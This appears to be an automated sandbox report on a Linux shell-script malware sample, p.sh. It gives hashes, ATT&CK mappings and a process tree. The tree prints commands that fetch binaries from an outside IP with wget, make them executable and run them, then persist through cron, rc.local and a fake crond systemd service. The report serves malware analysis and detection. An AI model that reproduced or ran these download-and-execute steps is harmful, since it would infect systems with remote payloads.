0b5f12c44318ad9d1ed909a2c56463ffe5de7f3627402140de7ae75fc3462a52

Analysis

max time kernel
149s
max time network
140s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
22/07/2026, 13:11

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
p.sh
Size 839B
Sample260722-qe7pcafa95
SHA256 0b5f12c44318ad9d1ed909a2c56463ffe5de7f3627402140de7ae75fc3462a52
MD5 a284ad5de58d03aebe2a33e751d3f50f
SHA1 28ab13979855be6dbfd177eb7b6651cb58dbb659
SHA512 db067e888777083c73aef619e3e7aff813e75b02aa06e8525a17bf58d7178e8acbcc0dd96afa4d1f89fa3bdbaccaea9cc470f173d209114d34ba22174b034cd2
TLSH
T111016FC9E2109540415AD56E66D651D0F431C3C7454B4F78BFEC982DAB9CD08F036FD4
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
829	chmod
783	chmod
804	chmod
818	chmod
825	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/D1Qd	785	p.sh

Creates/modifies Cron job 1 TTPs 2 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/etc/cron.d/crond	D1Qd
File opened for modification	/etc/crontab	D1Qd

Enumerates running processes
Discovers information about currently running processes on the system

Modifies rc script 2 TTPs 1 IoCs

Adding/modifying system rc scripts is a common persistence mechanism.

persistence

Boot or Logon Autostart Execution

T1547

RC Scripts

T1037.004

description	ioc	Process
File opened for modification	/etc/rc.local	D1Qd

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/crond.service	D1Qd

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	D1Qd

Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/809/exe	D1Qd
File opened for reading	/proc/810/cmdline	D1Qd
File opened for reading	/proc/814/cmdline	D1Qd
File opened for reading	/proc/850/exe	D1Qd
File opened for reading	/proc/858/cmdline	D1Qd
File opened for reading	/proc/594/exe	D1Qd
File opened for reading	/proc/5/cmdline	D1Qd
File opened for reading	/proc/24/cmdline	D1Qd
File opened for reading	/proc/774/cmdline	D1Qd
File opened for reading	/proc/807/exe	D1Qd
File opened for reading	/proc/812/cmdline	D1Qd
File opened for reading	/proc/142/cmdline	D1Qd
File opened for reading	/proc/159/cmdline	D1Qd
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/837/cmdline	D1Qd
File opened for reading	/proc/896/cmdline	D1Qd
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/892/cmdline	D1Qd
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/784/exe	D1Qd
File opened for reading	/proc/788/exe	D1Qd
File opened for reading	/proc/9/cmdline	D1Qd
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/872/exe	D1Qd
File opened for reading	/proc/594/cmdline	D1Qd
File opened for reading	/proc/788/cmdline	D1Qd
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/808/cmdline	D1Qd
File opened for reading	/proc/835/cmdline	D1Qd
File opened for reading	/proc/863/cmdline	D1Qd
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/21/cmdline	D1Qd
File opened for reading	/proc/583/cmdline	D1Qd
File opened for reading	/proc/867/cmdline	D1Qd
File opened for reading	/proc/871/exe	D1Qd
File opened for reading	/proc/894/exe	D1Qd
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/1/exe	D1Qd
File opened for reading	/proc/836/cmdline	D1Qd
File opened for reading	/proc/860/cmdline	D1Qd
File opened for reading	/proc/871/cmdline	D1Qd
File opened for reading	/proc/882/cmdline	D1Qd
File opened for reading	/proc/888/cmdline	D1Qd
File opened for reading	/proc/645/cmdline	D1Qd
File opened for reading	/proc/802/cmdline	D1Qd
File opened for reading	/proc/855/exe	D1Qd
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/10/cmdline	D1Qd
File opened for reading	/proc/671/cmdline	D1Qd
File opened for reading	/proc/813/cmdline	D1Qd
File opened for reading	/proc/869/cmdline	D1Qd
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/875/exe	D1Qd
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/867/exe	D1Qd

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/D1Qd	wget
File opened for modification	/tmp/p	p.sh

/tmp/p.sh
/tmp/p.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:647
- /bin/ls
  ls -l /proc/1/exe
  2⤵
  PID:649
- /bin/ls
  ls -l /proc/10/exe
  2⤵
  PID:655
- /bin/ls
  ls -l /proc/107/exe
  2⤵
  PID:659
- /bin/ls
  ls -l /proc/109/exe
  2⤵
  - Reads runtime system information
  PID:663
- /bin/ls
  ls -l /proc/11/exe
  2⤵
  - Reads runtime system information
  PID:668
- /bin/ls
  ls -l /proc/110/exe
  2⤵
  PID:669
- /bin/ls
  ls -l /proc/12/exe
  2⤵
  - Reads runtime system information
  PID:673
- /bin/ls
  ls -l /proc/13/exe
  2⤵
  PID:676
- /bin/ls
  ls -l /proc/138/exe
  2⤵
  PID:680
- /bin/ls
  ls -l /proc/14/exe
  2⤵
  PID:681
- /bin/ls
  ls -l /proc/142/exe
  2⤵
  PID:683
- /bin/ls
  ls -l /proc/143/exe
  2⤵
  PID:684
- /bin/ls
  ls -l /proc/15/exe
  2⤵
  PID:685
- /bin/ls
  ls -l /proc/159/exe
  2⤵
  PID:686
- /bin/ls
  ls -l /proc/16/exe
  2⤵
  PID:688
- /bin/ls
  ls -l /proc/17/exe
  2⤵
  PID:689
- /bin/ls
  ls -l /proc/170/exe
  2⤵
  - Reads runtime system information
  PID:690
- /bin/ls
  ls -l /proc/18/exe
  2⤵
  - Reads runtime system information
  PID:691
- /bin/ls
  ls -l /proc/19/exe
  2⤵
  PID:692
- /bin/ls
  ls -l /proc/2/exe
  2⤵
  PID:693
- /bin/ls
  ls -l /proc/20/exe
  2⤵
  - Reads runtime system information
  PID:694
- /bin/ls
  ls -l /proc/208/exe
  2⤵
  PID:695
- /bin/ls
  ls -l /proc/21/exe
  2⤵
  PID:696
- /bin/ls
  ls -l /proc/22/exe
  2⤵
  PID:697
- /bin/ls
  ls -l /proc/23/exe
  2⤵
  PID:698
- /bin/ls
  ls -l /proc/231/exe
  2⤵
  - Reads runtime system information
  PID:699
- /bin/ls
  ls -l /proc/24/exe
  2⤵
  PID:700
- /bin/ls
  ls -l /proc/25/exe
  2⤵
  PID:701
- /bin/ls
  ls -l /proc/26/exe
  2⤵
  PID:702
- /bin/ls
  ls -l /proc/27/exe
  2⤵
  PID:703
- /bin/ls
  ls -l /proc/28/exe
  2⤵
  PID:704
- /bin/ls
  ls -l /proc/289/exe
  2⤵
  - Reads runtime system information
  PID:705
- /bin/ls
  ls -l /proc/29/exe
  2⤵
  PID:706
- /bin/ls
  ls -l /proc/290/exe
  2⤵
  - Reads runtime system information
  PID:707
- /bin/ls
  ls -l /proc/292/exe
  2⤵
  PID:708
- /bin/ls
  ls -l /proc/293/exe
  2⤵
  PID:709
- /bin/ls
  ls -l /proc/295/exe
  2⤵
  - Reads runtime system information
  PID:710
- /bin/ls
  ls -l /proc/3/exe
  2⤵
  - Reads runtime system information
  PID:711
- /bin/ls
  ls -l /proc/304/exe
  2⤵
  PID:712
- /bin/ls
  ls -l /proc/308/exe
  2⤵
  - Reads runtime system information
  PID:713
- /bin/ls
  ls -l /proc/316/exe
  2⤵
  PID:714
- /bin/ls
  ls -l /proc/321/exe
  2⤵
  PID:715
- /bin/ls
  ls -l /proc/325/exe
  2⤵
  PID:716
- /bin/ls
  ls -l /proc/4/exe
  2⤵
  PID:717
- /bin/ls
  ls -l /proc/41/exe
  2⤵
  PID:718
- /bin/ls
  ls -l /proc/42/exe
  2⤵
  PID:719
- /bin/ls
  ls -l /proc/43/exe
  2⤵
  PID:720
- /bin/ls
  ls -l /proc/5/exe
  2⤵
  PID:721
- /bin/ls
  ls -l /proc/567/exe
  2⤵
  PID:722
- /bin/ls
  ls -l /proc/579/exe
  2⤵
  PID:723
- /bin/ls
  ls -l /proc/583/exe
  2⤵
  PID:724
- /bin/ls
  ls -l /proc/593/exe
  2⤵
  PID:725
- /bin/ls
  ls -l /proc/594/exe
  2⤵
  PID:726
- /bin/ls
  ls -l /proc/6/exe
  2⤵
  - Reads runtime system information
  PID:729
- /bin/ls
  ls -l /proc/635/exe
  2⤵
  PID:731
- /bin/ls
  ls -l /proc/638/exe
  2⤵
  PID:733
- /bin/ls
  ls -l /proc/640/exe
  2⤵
  PID:735
- /bin/ls
  ls -l /proc/642/exe
  2⤵
  PID:737
- /bin/ls
  ls -l /proc/644/exe
  2⤵
  PID:739
- /bin/ls
  ls -l /proc/645/exe
  2⤵
  - Reads runtime system information
  PID:741
- /bin/ls
  ls -l /proc/646/exe
  2⤵
  PID:744
- /bin/ls
  ls -l /proc/647/exe
  2⤵
  PID:745
- /bin/ls
  ls -l /proc/648/exe
  2⤵
  - Reads runtime system information
  PID:748
- /bin/ls
  ls -l /proc/7/exe
  2⤵
  PID:750
- /bin/ls
  ls -l /proc/76/exe
  2⤵
  PID:752
- /bin/ls
  ls -l /proc/8/exe
  2⤵
  PID:754
- /bin/ls
  ls -l /proc/9/exe
  2⤵
  PID:756
- /bin/ls
  ls -l /proc/98/exe
  2⤵
  PID:759
- /bin/rm
  rm -rf D1Qd
  2⤵
  PID:761
- /usr/bin/wget
  wget http://129.121.110.105/D1Qd
  2⤵
  - Writes file to tmp directory
  PID:763
- /bin/chmod
  chmod 777 D1Qd
  2⤵
  - File and Directory Permissions Modification
  PID:783
- /tmp/D1Qd
  ./D1Qd pdvr
  2⤵
  - Creates/modifies Cron job
  - Modifies rc script
  - Modifies systemd
  - Checks CPU configuration
  - Reads runtime system information
  PID:785
- - /usr/local/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:802
- - /usr/local/sbin/systemctl
    systemctl enable crond.service
    3⤵
    PID:803
- - /usr/local/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:802
- - /usr/local/bin/systemctl
    systemctl enable crond.service
    3⤵
    PID:803
- - /usr/sbin/systemctl
    systemctl enable crond.service
    3⤵
    PID:803
- - /usr/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:802
- - /usr/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:802
- - /usr/bin/systemctl
    systemctl enable crond.service
    3⤵
    PID:803
- - /sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:802
- - /sbin/systemctl
    systemctl enable crond.service
    3⤵
    PID:803
- - /bin/systemctl
    systemctl daemon-reload
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:802
- - /bin/systemctl
    systemctl enable crond.service
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:803
- /bin/rm
  rm -rf 5F5E
  2⤵
  PID:790
- /usr/bin/wget
  wget http://129.121.110.105/5F5E
  2⤵
  PID:792
- /bin/chmod
  chmod 777 5F5E
  2⤵
  - File and Directory Permissions Modification
  PID:804
- /tmp/5F5E
  ./5F5E pdvr
  2⤵
  PID:805
- /bin/rm
  rm -rf D32
  2⤵
  PID:806
- /usr/bin/wget
  wget http://129.121.110.105/D32
  2⤵
  PID:807
- /bin/chmod
  chmod 777 D32
  2⤵
  - File and Directory Permissions Modification
  PID:818
- /tmp/D32
  ./D32 pdvr
  2⤵
  PID:821
- /bin/rm
  rm -rf jc6
  2⤵
  PID:823
- /usr/bin/wget
  wget http://129.121.110.105/jc6
  2⤵
  PID:824
- /bin/chmod
  chmod 777 jc6
  2⤵
  - File and Directory Permissions Modification
  PID:825
- /tmp/jc6
  ./jc6 pdvr
  2⤵
  PID:826
- /bin/rm
  rm -rf vsxv
  2⤵
  PID:827
- /usr/bin/wget
  wget http://129.121.110.105/vsxv
  2⤵
  PID:828
- /bin/chmod
  chmod 777 vsxv
  2⤵
  - File and Directory Permissions Modification
  PID:829
- /tmp/vsxv
  ./vsxv pdvr
  2⤵
  PID:830
- /bin/rm
  rm -rf p
  2⤵
  PID:831

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

crond

Path /etc/cron.d/crond
Size 31B
SHA256 fc49332cce5b47296b6aa4ecd9a5f4ee77d7a4c6d891628f180833f011a9427e
MD5 4dab421bf27ef1b39e64bab776e7c437
SHA1 b64008c3b2226821f7e2eadc378637fef6212bdc
SHA512 4dcf925168039664987aac4d1e29a76fafdb62ed08ca6c10a4904bcc7dec5adcd454781e36061eb9616f06fdc77a755ff174b40b2010d93a7d1c2ac01249e691
MD5 SHA1 SHA512

Submit Download

rc.local

Path /etc/rc.local
Size 10B
SHA256 a8076d3d28d21e02012b20eaf7dbf75409a6277134439025f282e368e3305abf
MD5 3e2b31c72181b87149ff995e7202c0e3
SHA1 bd971bec88149956458a10fc9c5ecb3eb99dd452
SHA512 543f39af1ae7a2382ed869cbd1ee1ac598a88eb4e213cd64487c54b5c37722c6207ee6db4fa7e2ed53064259a44115c6da7bbc8c068378bb52a25e7088eeebd6
MD5 SHA1 SHA512

Submit Download

rc.local

Path /etc/rc.local
Size 35B
SHA256 18e22354b3a63ab1536417294f275acb2da87fac1f526236671d1796273f53b3
MD5 4cb219e23d7ab68b63ba2834be2eb77e
SHA1 acb47adb572fe49396fb75ea4b683d5afaab7c56
SHA512 fee10d1891e4a8d99b513f6f1e047fbb4f0b7435a8e21b721a8658e03a7a7ec69b9f9265d13d0f1c9cb36640fea8072cd9567ab9698f52a7307c8bdf177a7df7
MD5 SHA1 SHA512

Submit Download

crond.service

Path /etc/systemd/system/crond.service
Size 194B
SHA256 a8935c203609175d901b93ef5e2f2385db17bbc1662be1f153fee736ae5d507c
MD5 67779a64c104539a365347e70f7e6a06
SHA1 0195355d9dbe928437d3de105abb74f40dd59840
SHA512 3d7517adabedf321d26b289e312f581061a457cb625357534a517e7aa3f8b5a4786d2cbb5a4e538dd37308c51f7a83bff7393d8f21ef1c19c8c98b12c010875c
TLSH
T1F0C02223A47114A0894F39A2AEE32B44CDA202000ACF92B00BC019292EE20E71125EEE
MD5 SHA1 SHA512 TLSH

Submit Download

D1Qd

Path /tmp/D1Qd
Size 69KB
SHA256 557819ae8a9fbe20d7318a396bda128c21d4cf14ea9babc56b4dd4ba9e429896
MD5 c0bcf41f4f52b2edb0eb51ce04e3d54f
SHA1 1831b6a3c7a1135bc15eb6a3638cdcb2a86abbd0
SHA512 ffa2d697941a0fe694508a6bbf1caa43da61baf25363f86236cfc07897ddde20efa2d45032e4baf99727f99b5c8a8cbae9c21159e29101efbdf07a0b70cc99ec
SSDEEP 1536:Ks46brk6qug4Kac4Ztq770WtbKC1fG/T2rDFYwZc6pEs+Fm1zP5bIMl8B3:Ks46/kl349lS70+N1fG/yrDGCb+Fm1z5
TLSH
T1C7631A76BD859B27C1C5267BFF1D8388331723B8E3EB7113DA152F65278B41A4E2A042
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path /tmp/p
Size 1B
SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
MD5 68b329da9893e34099c7d8ad5cb9c940
SHA1 adc83b19e793491b1c6ea0fd8b46cd9f32e592fc
SHA512 be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads